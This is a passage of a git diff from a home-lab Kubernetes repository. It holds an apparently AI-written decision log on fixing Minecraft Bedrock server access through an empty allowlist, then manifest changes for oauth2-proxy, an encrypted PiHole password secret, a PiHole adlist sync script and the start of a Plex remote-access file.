+  `EXTERNAL-IP` on both `crafty-l4-tcp` and `crafty-l4-udp`. Rewrote as the variable plus the measured
+  prod value.
+- Noted that `transport=raknet` is PVC state Flux cannot restore, and that a recreated or reinstalled
+  Bedrock server silently regresses to the vendor default `nethernet`.
+- Re-confirmed `K3s-Bedrock` `auto_start=0` / `crash_detection=0` straight out of `crafty.sqlite`.
+
+### What I did NOT verify — read this before acting
+
+- **No human Bedrock client has connected.** I proved the RakNet *ping/pong* handshake end-to-end from
+  off-cluster; I did not complete a login, which additionally requires Xbox Live auth
+  (`online-mode=true`) from the client. **UNVERIFIED that a player reaches the world**, and it is the
+  one test only a human with a Minecraft client can run.
+- **The multi-player SNAT question from the last entry is still open and still untested.** Whether a
+  *second* simultaneous Bedrock player evicts the first (masquerade port reuse / UDP conntrack behind a
+  shared VIP) is unmeasured. One ping proves one flow.
+- **Whether a console can reach it is still no** — unchanged and still not tested; consoles have no
+  server-address field.
+- **Geyser is entirely unmeasured here.** Nothing was installed, downloaded, or run. Its Bedrock-version
+  support, its jar names and its config keys as written in the README are **web/documentation-sourced,
+  not observed on this cluster**. Verify before acting on that section.
+- **Whether Crafty can pin a BDS version is UNVERIFIED** — I did not read its Bedrock installer.
+- **A web search on this error was attempted and was low-quality** — results largely echoed the error
+  string back. Nothing in the README or this entry rests on it. The load-bearing evidence is all local:
+  `/proc/net/*`, `/proc/47006/fd/*`, `audit.log`, `commander.log`, `raknet_ping.py`, the shipped
+  `bedrock_server_how_to.html`, `strings bedrock_server`, and the pong.
+- **Whether a future BDS removes RakNet for real is unknowable from here.** Treat the banner as a
+  deprecation notice with an unknown expiry.
+- **Nothing was applied or written.** No `kubectl apply/edit/patch/scale/delete`, no `flux reconcile`,
+  no write anywhere inside the container — `server.properties` was read, never touched. The running pod
+  is still `crafty-64f7b6d78-pkpgp` (2/2, 15d, 0 restarts). All probes were reads plus outbound UDP
+  pings from the toolbox.
+- **`fix/crafty-oauth2-proxy-signin` is still unmerged**, so the pod still runs the pre-that-PR spec.
+
+### Gate and CI — rc 3, and why CI's green does not contradict that
+
+Local, pinned toolbox, from the worktree (`ENGINE` shim + `DEV_KUBECONFIG=/dev/null`), diff base
+`origin/main @ 20ea70d` → `HEAD @ d29a73c`:
+
+| Stage | Result |
+|---|---|
+| `lint` | green |
+| `l0` | green — 19 cases, 0 failures, 0 skips |
+| `render-golden` | green — all 10 onboarded goldens reproduce |
+| `l1` | green — 3 cases, 0 failures, 0 skips |
+| `spec-immutability` | **green** (see below) |
+| `gitea-settings` | **SKIPPED** — `SETTINGS_API_TOKEN` unset |
+| `conformance` (L2/L3) | **SKIPPED** — `CLUSTER_AVAILABLE != true` |
+
+**Exit code 3 — UNDETERMINED, not a PASS.** Nothing failed; nothing outside the green rows is
+certified. Touched requirements `R-DNS-01 R-NET-01 R-PLAT-02 R-STATE-01` remain L2/L3 UNVERIFIED.
+
+`spec-immutability` — normally *the* tolerated skip — was closed rather than accepted. It had skipped
+**spuriously**: `dev.sh` resolves the spec repo at `$REPO_ROOT/../home-network-k3s`, which from a
+*worktree* is the wrong directory; the repo exists beside the **main** checkout. Mounting it read-only
+through the `ENGINE` shim turned the skip into a real green, so R-TEST-06 is genuinely verified here.
+Worth folding into the CLAUDE.md §3 worktree workarounds: the documented shim should mount **two**
+paths, the main `.git` *and* the sibling spec repo.
+
+CI on `d29a73c`, statuses read by description and not by tick:
+
+    context='gate / gate (pull_request)'        status='success'  description='Successful in 1m35s'
+    context='gate / conformance (pull_request)' status='success'  description='Has been skipped'
+
+**Neither green means rc 0.** `gate / conformance` is `if: false` in `.gitea/workflows/gate.yml` — it
+never runs and reports `success` with "Has been skipped", the exact trap CLAUDE.md §2 names. And
+`gate / gate`, the single required context, runs `./ci/gate.sh || [ "$?" -eq 3 ]` (line 134): **CI
+tolerates exit 3 by declared design**, so its green means "exited 0 *or* 3". It would report this
+identical green for the rc 3 above. Enforcement itself was measured directly rather than assumed
+(§2b): `branches/main` → `protected: true`, `user_can_push: false`, `required_approvals: 1`,
+`enable_status_check: true`, `status_check_contexts: ['gate / gate (pull_request)']`;
+`admin/actions/runners` → 1 runner, `incluster-dind`, `online`. **PR #23 is open, unmerged, and I did
+not merge it.**
+
+### Operator actions required
+
+1. **Nothing to do about the transport.** `transport=raknet` is correct, live, and answering. **Do not
+   revert it because of the `TRANSPORT TYPE ERROR` banner, and do not chase Crafty's `too few fields`
+   warning** — both appear on a fully working server.
+2. **Get a human to actually join**, from a Windows/mobile client: **Add Server** →
+   `crafty-mc.home.keithjackson.dev`, port **19132**. This is the only remaining unproven step. It will
+   never appear in the LAN/Friends tab; a console cannot reach it at all.
+3. **Fix `auto_start` — still outstanding, and now more urgent.** `K3s-Bedrock` is still
+   `auto_start=0`, `crash_detection=0`. `PATCH /api/v2/servers/c5837301-12b1-404e-b50e-70eafb37226b`
+   setting both true **and read them back** (the create API silently drops them). Until then the
+   Bedrock server does not survive a pod restart — and merging `fix/crafty-oauth2-proxy-signin`
+   restarts the pod (`strategy: Recreate`, RWO volume), stopping **both** Minecraft servers **and**
+   leaving Bedrock down until someone starts it by hand.
+4. **Set `enable-lan-visibility=false` on `K3s-Bedrock`** if a second Bedrock server is ever wanted.
+   It currently occupies **both** 19132 and 19133 (measured), so slot 1 is not actually free. LAN
+   discovery cannot work behind the VIP anyway, so nothing is lost.
+5. **Re-check after any Bedrock server recreate or BDS update:** confirm `transport=raknet` survived,
+   then re-ping. The vendor default is `nethernet`, and the regression is silent.
+6. **If a second simultaneous player evicts the first**, that is the SNAT/UDP-conntrack theory becoming
+   real; it needs its own measured investigation, not a guess.
+
+## 2026-09-29 (later still) — "You are not invited": the join gate is an empty allowlist. RakNet is confirmed working *by the refusal itself*
+
+A Bedrock client reported **"Unable to connect / You are not invited to play on this server"**. This was
+put to me as evidence that NetherNet signalling is working, that the refusal might have come from
+Microsoft rather than our server, and that BDS players therefore never traverse this repo's
+`crafty-l4-udp` path. **Measured, all three of those are wrong.** The refusal is ours, it came back over
+`19132/udp`, and it has a one-line cause.
+
+### Measured 21:56 (read-only)
+
+| Property / file | Value |
+|---|---|
+| `allow-list` | **`true`** (line 37 of `server.properties`) |
+| `allowlist.json` | **`[]`** — 3 bytes, mtime **20:51**, never edited since the server was created |
+| `online-mode` | `true` |
+| `transport` | **`raknet`** (line 71); `server.properties` mtime **still 21:33:31** |
+| UDP 19132 | bound — `/proc/net/udp` `00000000:4ABC`, pid 47006 |
+| **TCP 19132** | **absent** — `grep 4ABC /proc/net/tcp /proc/net/tcp6` → no match |
+| `bedrock_server` | pid **47006**, etime 21:58 — the *same* process since 21:34, never restarted |
+| `K3s-Bedrock.log_path` | **`''`** (empty string) in `crafty.sqlite`; `Dedicated_Server.txt` is **0 bytes** |
+
+### What that settles
+
+1. **`transport` is still `raknet`. Nobody reverted it and the binary did not rewrite it.** The file's
+   mtime is unchanged from the operator's 21:33:31 edit, `audit.log` records no later edit, and pid
+   47006 has been the same process since 21:34. **So NetherNet is NOT in use and cannot be what served
+   this client.** The premise that "something is evidently set to nethernet" is refuted.
+2. **NetherNet could not have served it even in principle:** nethernet signals over a **TCP** socket on
+   `server-port`, and there is **no TCP 19132 listener in the pod at all**. No signalling endpoint
+   exists, and none is exposed by any Service.
+3. **Therefore the refusal came from our server, over RakNet, over `19132/udp`, through the VIP.** A
+   refusal authored by the server requires the client to have reached the server; the only listener is
+   the RakNet UDP socket. **The 19132-19134/UDP exposure is the opposite of inert — it is the path that
+   carried both the earlier pong and this refusal.** *(Observed: the listeners, the missing TCP socket,
+   `transport=raknet`, the process identity. Reasoned from those: that the refusal traversed that path.)*
+4. **The cause is trivial and certain: `allow-list=true` with `allowlist.json == []` refuses every
+   player.** The shipped `bedrock_server_how_to.html` states it — *"If the `allow-list` property is
+   enabled … the server will only allow selected users to connect. To allow a user to connect you need
+   to know their Xbox Live Gamertag."* An empty array selects nobody. **This configuration cannot admit
+   anyone, so the refusal needed no other explanation.**
+
+### The correlation I was asked for, and why it cannot be done from disk
+
+I was asked to correlate the client error against the BDS server log and `commander.log` at 21:40–22:00,
+on the basis that our log showing nothing would mean the refusal came from Microsoft. **That inference
+does not hold here, because there is no BDS log on disk to be silent.** ``K3s-Bedrock``'s `log_path` is
+the empty string and `Dedicated_Server.txt` is 0 bytes: **Crafty persists no Bedrock stdout anywhere on
+the PVC** — the console is panel-UI-only. `commander.log` 21:39–21:56 holds nothing but `homelab`
+crash-detection lines and `raknet_ping` chatter: no join, no gamertag, no XUID, no allowlist denial.
+That silence is evidence about Crafty's logging, **not** about the refusal's origin. **UNVERIFIED and
+only observable live in the panel console.** The point stands: absence of a log here is not absence of
+an event.
+
+I also did **not** capture the player's packet (no `tcpdump`, no `cilium monitor`), so the flow's
+identity is inferred from the listener topology, not seen. What removes the doubt is that the
+configuration is *unconditionally* refusing: whichever path a client takes, `allow-list=true` plus `[]`
+denies it. The operator action is required either way.
+
+### Correction to the earlier entry's loose end, now firmer
+
+The previous entries left "who sent those 26 packets / 27660 bytes on the `19132/UDP` policy map"
+UNVERIFIED, and it stays UNVERIFIED — but note it was measured *before* 21:34, i.e. during the nethernet
+window when **no UDP listener existed**. Those packets are consistent with clients RakNet-pinging a port
+nothing was listening on. They should **not** be attributed to a successful Bedrock session, and equally
+should not now be re-attributed to this refused client, which arrived later.
+
+### Ranking after this measurement — unchanged at the top
+
+**Keep `transport=raknet`, add the players to the allowlist. Still zero manifest change.** The allowlist
+refusal is orthogonal to transport: it would refuse identically under NetherNet. Switching to NetherNet
+would *add* manifest work (TCP 19132 in `crafty-l4-tcp` **and** `crafty-allow-ingress`, plus
+`server-udp-ports` pinned and exposed) and would admit **not one extra player**. "Accept NetherNet" does
+**not** outrank the status quo on this evidence, because NetherNet is not what is working — RakNet is.
+Geyser stays at #2, reserve-only.
+
+### What changed in this repo
+
+`platform/crafty/README.md` — added *"You are not invited to play on this server — the join gate is the
+allowlist, not the network"*: the measured table, the proof that the refusal is ours and rode the UDP
+path, the "BDS console is not on disk" caveat, the gamertag/XUID identity model, the three operator
+routes (`allowlist add` in the console; edit-then-`allowlist reload`; or `allow-list=false`, discouraged
+because the game port is deliberately un-gated so the allowlist is the *only* join control), and a note
+that `allowlist.json` is PVC state that resets to `[]` on a server recreate. Updated the options table
+and human test 4 to put the allowlist check before blaming the network. **No manifest touched.**
+
+### Still UNVERIFIED
+
+- **No successful join.** Reachability and an authorization refusal are both proven; a completed login is
+  not. Only a human with a client, after an allowlist entry, can close it.
+- **The exact client-side string was not observed by me** — it is the operator's report, and its mapping
+  to the allowlist denial is **reasoned** from the vendor doc, not read out of a BDS log (there is none).
+- **Whether the client used Add-Server-by-IP or an Xbox/Friends route is unknown**, so a *concurrent*
+  Xbox-side "not invited" cannot be fully excluded. It does not matter operationally: the allowlist must
+  be fixed regardless, and after that a retry distinguishes the two immediately.
+- **The multi-player SNAT question** remains open and untested.
+- **Nothing was written.** `allowlist.json`, `server.properties` and the DB were read only; no
+  `allowlist add` was issued, no console command sent, no `kubectl` mutation, no `flux reconcile`.
+
+### Operator actions — revised, allowlist first
+
+1. **Add each player's Xbox Gamertag to the allowlist.** Crafty → `K3s-Bedrock` → Console:
+   `allowlist add <Gamertag>` (quote if it contains a space). Takes effect immediately, no restart.
+   Verify with `allowlist list`. This is **the** fix for "You are not invited".
+2. **Then retry the join** from a Windows/mobile client: **Add Server** →
+   `crafty-mc.home.keithjackson.dev`, port **19132**. If it now connects, everything in these three
+   entries is closed. If it still refuses, capture the **panel console** output during the attempt —
+   that is the only place BDS's own reason is visible.
+3. **Do not set `allow-list=false`** as the fix. The game port is deliberately un-gated at the network
+   layer, so the allowlist is the only thing deciding who may join. (And console `allowlist off` does not
+   change `server.properties`, so it silently reverts on restart.)
+4. **Leave `transport=raknet` alone**, and keep ignoring both the `TRANSPORT TYPE ERROR` banner and the
+   `too few fields` warning — the server is reachable, proven by pong and by this refusal.
+5. **`auto_start=0` / `crash_detection=0` on `K3s-Bedrock` — still outstanding.** `PATCH
+   /api/v2/servers/c5837301-12b1-404e-b50e-70eafb37226b`, both true, **read them back**.
+6. **Treat `allowlist.json` and `transport=raknet` as backup-relevant PVC state.** A server recreate
+   resets the allowlist to `[]` and the transport to `nethernet` — both silently.
+
+## 2026-09-29 (closing) — a player has joined. The chain is closed: `allow-list=true` + an empty allowlist was the wall, and nothing else was
+
+The operator added one gamertag to the allowlist and the Bedrock client connected and joined. **The
+three-entry investigation above is now closed by a working server**, with no manifest change, no
+transport change, and no network change.
+
+### What is now OBSERVED (moved out of UNVERIFIED)
+
+- **A successful join.** *Operator-reported, 2026-09-29* — they added the player's gamertag and the
+  client connected and joined. **I did not watch the join**, and that distinction is kept deliberately;
+  this repo has been burned by collapsing it.
+- **Corroborated directly on disk, though**, which is stronger than the report alone:
+  `allowlist.json` went `[]` → **one entry**, 75 bytes, and that entry's **`xuid` is populated**
+  (`keys=['ignoresPlayerLimit','name','xuid']`, mtime **22:03:17**). `audit.log` shows the operator wrote
+  only the name — `Edited file …/allowlist.json` at **22:02:13**. The vendor doc: `xuid` is *"Optional.
+  If it's not set then it will be populated when someone with a matching name **connects**."* So the XUID
+  was written **by the server, on connect**, ~64 s after the operator's edit. That is server-authored
+  evidence of an Xbox-Live-authenticated join. *(Observed: file state, both timestamps, the audit line.
+  Reasoned from the vendor doc: populated XUID ⇒ a connect happened.)*
+- **The reasoned mapping is confirmed.** The client's *"You are not invited to play on this server"* was
+  mapped to the empty allowlist **by reasoning** from the vendor doc, because Crafty persists no BDS
+  stdout and there was no log to read it from. Adding **exactly one** gamertag and getting **exactly one**
+  successful join confirms that mapping. **`allow-list=true` + `allowlist.json == []` was the wall, and
+  nothing else was.**
+- **`transport=raknet` survives a restart.** The fix involved one: `stop_server` 22:02:37 →
+  `start_server` 22:02:41, pid **47006 → 47875**. Afterwards `server.properties` mtime is **still
+  21:33:31** with `transport=raknet`, UDP `4ABC` is bound by the new pid, there is still **no TCP 4ABC**,
+  and `192.168.2.22:19132` answered a fresh pong at 22:06 (`MCPE;…;1.26.52;0;10;…`, new `server_guid`
+  matching the new pid, `players=0` — the player had left).
+- **The route the operator used was file-edit + restart**, not the console `allowlist add` I put first:
+  `audit.log` edit 22:02:13 → stop → start. A restart is a valid substitute for `allowlist reload`.
+  Both routes now documented as proven; the console route is still preferred because it needs no restart.
+
+### The recommendation is now PROVEN, not provisional
+
+**Keep `transport=raknet` and enumerate players in the allowlist. Zero manifest change.** This is no
+longer the best-reasoned option — it is the configuration a player has demonstrably joined over
+`192.168.2.22:19132`. `service-l4.yaml`, `networkpolicy.yaml` and the `containerPort`s needed nothing.
+Ranking otherwise unchanged: Geyser #2 (reserve, and it cannot share 19132), pinning BDS #3,
+PocketMine/Nukkit #4, accept-NetherNet last — NetherNet is still **not in use**, would still need TCP
+19132 exposed in two places, and would still admit not one extra player.
+
+### Still open — NOT weakened by the success
+
+- **`K3s-Bedrock` still has `auto_start=0` and `crash_detection=0`.** Re-measured from `crafty.sqlite` at
+  22:06, *after* the successful join and after the operator's 22:02:28 `modified the server` action —
+  which did **not** change them. **The operator now has a working server that will silently not come back
+  after any pod restart**, and merging `fix/crafty-oauth2-proxy-signin` **is** such a restart
+  (`strategy: Recreate`, RWO volume) and would stop **both** Minecraft servers. This matters *more* now,
+  not less: the failure mode has changed from "never worked" to "worked, then vanished".
+- **The silent-reset exposure is unchanged, and now precisely characterised:**
+  a **restart** preserves `transport=raknet` and `allowlist.json` (observed above) but does not restart
+  the server itself (`auto_start=0`); a **server recreate or reinstall** resets `server.properties` to
+  `transport=nethernet` (nothing bound on 19132/udp) **and** `allowlist.json` to `[]` (everyone refused).
+  Neither reset announces itself, and the panel will show the server healthy and started. Both files are
+  PVC state Flux cannot restore. **Re-run the 5-step connect procedure after any recreate or BDS update.**
+- **L2/L3 conformance is still uncertified.** `CLUSTER_AVAILABLE` is unset, so the gate's `conformance`
+  stage does not run; `R-DNS-01 R-NET-01 R-PLAT-02 R-STATE-01` remain UNVERIFIED in CI. A player joining
+  is not a conformance test.
+- **Multi-player SNAT/UDP-conntrack is still untested.** Exactly **one** player has joined. Whether a
+  *second simultaneous* Bedrock player evicts the first behind the shared VIP and SNAT is unmeasured, and
+  a single successful session is precisely the evidence that does *not* settle it.
+- **I still never saw BDS's own console output** — `log_path` is `''`, `Dedicated_Server.txt` is 0 bytes.
+  Anything BDS itself said about the join is visible only live in the panel.
+- **Consoles still cannot reach this**, and LAN/Friends discovery still cannot work behind the VIP.
+- **Geyser remains entirely unmeasured**; the pinnability of a BDS version remains UNVERIFIED.
+
+### What changed in this repo
+
+`platform/crafty/README.md` and `DECISIONS-LOG.md`. **No manifest touched, in any of the three passes.**
+
+- Marked the join-gate section **RESOLVED and confirmed**, with the XUID-population evidence and the
+  operator-reported join labelled as exactly that.
+- Promoted the decision heading and option-1 row from provisional to **PROVEN**, and recorded that the
+  operator's actual route was file-edit + restart (route 2), with route 1 still preferred.
+- Rewrote Bedrock human-test 4 as a **5-step verified connect procedure**, each step with its distinct
+  failure signature, and stated plainly that the `TRANSPORT TYPE ERROR` banner and the `too few fields`
+  warning both appear on a fully working server — that pair misled two consecutive sessions.
+- Sharpened the PVC warning to distinguish **restart** (preserves both files; server stays down because
+  `auto_start=0`) from **recreate/reinstall** (silently resets transport *and* allowlist).
+
+### Operator actions — one is now urgent
+
+1. **`PATCH /api/v2/servers/c5837301-12b1-404e-b50e-70eafb37226b`** setting `auto_start` **and**
+   `crash_detection` true, **and read them back**. Both are still `0`. This is the only thing standing
+   between the working server and it disappearing at the next pod restart — including the restart that
+   merging `fix/crafty-oauth2-proxy-signin` will cause.
+2. **Leave `transport=raknet` and the allowlist alone.** Keep ignoring the `TRANSPORT TYPE ERROR` banner
+   and the `too few fields` warning.
+3. **Add a gamertag per additional player** — console `allowlist add <Gamertag>` (no restart needed).
+   Do **not** switch to `allow-list=false`: the game port is un-gated by design, so the allowlist is the
+   only join control.
+4. **After any Bedrock recreate or BDS update**, re-run the 5-step connect procedure — transport and
+   allowlist both reset silently.
+5. **Before announcing this to more than one player**, note that only one simultaneous session has been
+   proven; if a second player evicts the first, that is the SNAT/conntrack question and needs its own
+   measured investigation.

apps/wave-0/jackett.yaml

@@ -100,11 +100,15 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://jackett.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --api-route=^/api/
+        - --cookie-name=_oauth2_proxy_jackett
+        - --cookie-domain=jackett.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -125,6 +129,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

apps/wave-0/kustomization.yaml

@@ -14,10 +14,12 @@ resources:
 - nextcloud-db-backup-credentials-prod.sops.yaml
 - nextcloud-db-backup-credentials.sops.yaml
 - nextcloud-db.yaml
+- pihole-bootstrap-secret.sops.yaml
 - pihole-dns.yaml
 - pihole-oauth2-proxy-credentials.sops.yaml
 - pihole.yaml
 - plex-claim-secret.sops.yaml
+- plex-remote.yaml
 - plex.yaml
 - qbittorrent-bootstrap-secret.sops.yaml
 - qbittorrent-oauth2-proxy-credentials.sops.yaml

apps/wave-0/pihole-bootstrap-secret.sops.yaml

@@ -0,0 +1,72 @@
+# =================================================================================================
+# PiHole WEB/API ADMIN PASSWORD — the one piece of PiHole state that was NOT declared anywhere.
+# =================================================================================================
+# WHY THIS FILE EXISTS. Measured on live prod 2026-10-04, `pihole.toml` marks every non-default
+# setting with `### CHANGED`, and names the ones that came from the environment `### CHANGED (env)`.
+# The complete list was:
+#
+#     dns.upstreams          ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     dns.listeningMode      ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     dns.rateLimit.count    ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     misc.dnsmasq_lines     ### CHANGED (env)   <- declared, catalog/pihole.yaml
+#     files.macvendor        ### CHANGED         <- set by the image itself, container path
+#     webserver.api.pwhash   ### CHANGED         <- SET OUT OF BAND. Declared NOWHERE. This file.
+#
+# So exactly ONE operator-set value lived only on the Longhorn PVC: the admin password, as a
+# one-way BALLOON-SHA256 hash. Nobody could recover it (a hash does not reverse), nothing in git
+# produced it, and a rebuild from git would have come up with a DIFFERENT password — or none.
+#
+# THE REASON THIS BLOCKS HA, which is why it is fixed first. The next step is running more than one
+# PiHole replica, and a replica with a fresh PVC would come up with its own unrelated password. The
+# admin UI would then accept or reject the same credential depending on which pod answered. Declaring
+# it here makes every replica, and every rebuild, identical by construction.
+#
+# MECHANISM: `webserver.api.password` is a real, settable FTL config key — verified in the running
+# image, where `pihole setpassword` is itself just `setFTLConfigValue "webserver.api.password"` with
+# the comment "pihole-FTL will automatically hash the password". So FTL takes CLEARTEXT on this key
+# and writes the hash into `webserver.api.pwhash` itself. catalog/pihole.yaml therefore passes this
+# value as `FTLCONF_webserver_api_password`, and the hash on the PVC becomes a derived artefact
+# rather than the source of truth.
+#
+# DEFENCE IN DEPTH, NOT THE ONLY GATE. The admin UI is already behind the oauth2-proxy sidecar
+# (`--allowed-group=platform-admins`), so this password is a SECOND gate. It is kept rather than set
+# empty because the `pihole` Service still publishes port 80 (PiHole direct, bypassing the proxy on
+# :4180) and only the CiliumNetworkPolicy closes it — and the default-deny policy in this repo has a
+# documented drift history. An unauthenticated admin UI that can rewrite LAN DNS is not a good thing
+# to leave resting on one policy staying correct. Narrowing that Service port is tracked follow-up.
+#
+# ROTATION: `sops` this file in your own terminal, change the value, commit. Flux re-applies the
+# Secret, the pod restarts, FTL re-hashes. Do NOT `sops -d` it into a shared terminal or a log
+# (CLAUDE.md section 6); read it in an editor. The value below was generated randomly at authoring
+# time and has never been printed to a transcript.
+apiVersion: v1
+kind: Secret
+metadata:
+    name: pihole-bootstrap
+    namespace: pihole
+    labels:
+        app.kubernetes.io/name: pihole
+type: Opaque
+stringData:
+    #ENC[AES256_GCM,data:TMOuRyJeb5IVn3lZPXY7lgh1KGxu7GY9+WIOLHpMB50JqzmM2tHIaWUWKTt1JtZoX/E5/Y7WCUTnfkJLhRBN2zV2MwWRBSLYVy5CMg7xV8PTLRZJYAVUYS5Trg==,iv:q+DpfT6PQfY5ZuNsmP7Ddl+PDLjSm89fJICAhYoW64k=,tag:axijaO3DaxIZgZ3LeK2hXA==,type:comment]
+    webui-password: ENC[AES256_GCM,data:7FcK/bUW79M46f/MlouAmATKbMnoUTNuMUjtqJ5vpU4=,iv:I8DBFB39uXZV42Ie2IPwSefmMgdKEtiDknfc9Tu7h5E=,tag:L423784UrDU3TvylpHc6KQ==,type:str]
+sops:
+    kms: []
+    gcp_kms: []
+    azure_kv: []
+    hc_vault: []
+    age:
+        - recipient: age175l8mdpdfu7hq0aml3exs3gykarwjmuvr23sq56s3wjejnyk44wsp4mfzg
+          enc: |
+            -----BEGIN AGE ENCRYPTED FILE-----
+            YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSB0MkRSNjZLZlpXYkcvaVJL
+            cjlqb2wrcWREZnZLdGpsTHNPWEpseHlRZnpjCnJVM1FDQ2M2dXlaS1JBZ2k2V1BP
+            Yi9QUDZSMzZsL09pTi93RTdjdGxtY2MKLS0tIDIrQTZIVWdhMGIxSCtlUFN2Mlho
+            SWVybld4VjJyaHRSKzZZU0xsUUV2SEEKbDYHV/qBZVspK7DpBW3vYjRMJ/HmAN+9
+            G9bOlNEp0jAtcNZEn6lpQ9ORgvmIrhJHoBQRLabdMWzNWSZsNn56tA==
+            -----END AGE ENCRYPTED FILE-----
+    lastmodified: "2026-10-04T06:01:27Z"
+    mac: ENC[AES256_GCM,data:rhTMTOwLOtHXHgqI5M2ZW/6w+UpLpxBlTk7NoN0wmGSqOcE+OGrXA1DhkZrJweyQT0RSNSSBm/6QMztLP81eepOzdp2rEkwvbQPK/l6K9g16Ww9c1IatS3NQsKEB8AoMDx7jBQ6exXYgggPx3MJsNYbE+WyloQ96U9KPdrecAM8=,iv:n34v2zX9D5xsaR1PFCH94mNMiuRfhUyI2lseUCoqiTA=,tag:9YmN9nIVLXfsGYIb0bUl2w==,type:str]
+    pgp: []
+    encrypted_regex: ^(data|stringData)$
+    version: 3.9.4

apps/wave-0/pihole.yaml

@@ -90,9 +90,21 @@ spec:
           value: '0'
         - name: FTLCONF_misc_dnsmasq_lines
           value: address=/${BASE_DOMAIN}/${GATEWAY_VIP};address=/unifi.${BASE_DOMAIN}/${UNIFI_L4_VIP};address=/crafty-mc.${BASE_DOMAIN}/${CRAFTY_L4_VIP};address=/pihole-dns.${BASE_DOMAIN}/${PIHOLE_DNS_VIP}
+        - name: FTLCONF_webserver_api_password
+          valueFrom:
+            secretKeyRef:
+              name: pihole-bootstrap
+              key: webui-password
         volumeMounts:
         - name: config
           mountPath: /data/config
+        lifecycle:
+          postStart:
+            exec:
+              command:
+              - /bin/bash
+              - -c
+              - "# Assert the declared adlists in gravity.db. Idempotent: steady state writes nothing and\n# does NOT run a gravity rebuild.\nset -u\nGRAVITY=/etc/pihole/gravity.db\n\n# THE DECLARED SET \u2014 one URL per line, the source of truth for what PiHole blocks.\n# To add a list: add a line here, commit, let Flux reconcile. Nothing else to do.\nDECLARED='https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts'\n\n# On a fresh PVC, FTL creates gravity.db a moment after the container starts. Wait, bounded,\n# and NEVER block or fail the start: a missing DB here must not crashloop DNS for the LAN.\ni=0\nwhile [ ! -s \"$GRAVITY\" ] && [ \"$i\" -lt 90 ]; do sleep 2; i=$(expr $i + 1); done\nif [ ! -s \"$GRAVITY\" ]; then\n  echo \"pihole-adlists: gravity.db absent after 180s - leaving adlists untouched\" >&2\n  exit 0\nfi\n\nsql() { pihole-FTL sqlite3 \"$GRAVITY\" \"$1\"; }\nCHANGED=0\n\n# 1) Every declared URL must be present AND enabled.\necho \"$DECLARED\" | while IFS= read -r url; do\n  [ -n \"$url\" ] || continue\n  printf '%s\\n' \"$url\"\ndone > /tmp/declared.txt\nwhile IFS= read -r url; do\n  [ -n \"$url\" ] || continue\n  # Single quotes inside a URL would break this SQL; adlist URLs do not contain them.\n  have=$(sql \"select count(*) from adlist where address='$url';\")\n  if [ \"$have\" = \"0\" ]; then\n    echo \"pihole-adlists: adding $url\"\n    sql \"insert into adlist (address,enabled,comment) values ('$url',1,'declared in catalog/pihole.yaml');\"\n    CHANGED=1\n  else\n    en=$(sql \"select enabled from adlist where address='$url';\")\n    if [ \"$en\" != \"1\" ]; then\n      echo \"pihole-adlists: re-enabling $url\"\n      sql \"update adlist set enabled=1 where address='$url';\"\n      CHANGED=1\n    fi\n  fi\ndone < /tmp/declared.txt\n\n# 2) Anything enabled in the DB but NOT declared gets disabled (never deleted - see above).\nsql \"select address from adlist where enabled=1;\" | while IFS= read -r addr; do\n  [ -n \"$addr\" ] || continue\n  if ! grep -qxF \"$addr\" /tmp/declared.txt; then\n    echo \"pihole-adlists: disabling undeclared $addr\"\n    sql \"update adlist set enabled=0 where address='$addr';\"\n    echo changed >> /tmp/adlist-changed\n  fi\ndone\n[ -s /tmp/adlist-changed ] && CHANGED=1\nrm -f /tmp/adlist-changed /tmp/declared.txt\n\n# 3) Rebuild gravity ONLY if the declared set actually moved.\nif [ \"$CHANGED\" = \"1\" ]; then\n  echo \"pihole-adlists: declared set changed - running gravity update\"\n  pihole -g || echo \"pihole-adlists: gravity update failed; existing gravity.db retained\" >&2\nelse\n  echo \"pihole-adlists: already matches the declared set - nothing to do\"\nfi\nexit 0\n"
       - name: oauth2-proxy
         image: quay.io/oauth2-proxy/oauth2-proxy:v7.8.1
         imagePullPolicy: IfNotPresent
@@ -108,11 +120,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://pihole.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_pihole
+        - --cookie-domain=pihole.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -133,6 +148,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

apps/wave-0/plex-remote.yaml

@@ -0,0 +1,126 @@
+---
+# =================================================================================================
+# PLEX REMOTE ACCESS — raw tcp/32400 north-south exposure, and the policy that admits it.
+# =================================================================================================
+# HAND-WRITTEN, NOT RENDERED. A non-catalog app-tier unit anchored to the `plex` ServiceDefinition
+# and placed into wave 0 by `catalog/render.py --emit-waves` via its EXTRA_UNITS table — the same
+# mechanism gitea-actions and pihole-dns use. It is hand-written for the SAME reason those are:
+# schemas/servicedefinition.schema.json is `additionalProperties: false` and has NO field for a
+# type=LoadBalancer Service, for a pinned lbipam VIP, or for raw-TCP north-south exposure at all.
+# `ingressRoutes` renders HTTPRoutes on the shared Gateway, which is an L7 HTTPS terminator.
+#
+# WHY THE L7 GATEWAY IS NOT ENOUGH HERE — and it is NOT because the Gateway fails to serve Plex.
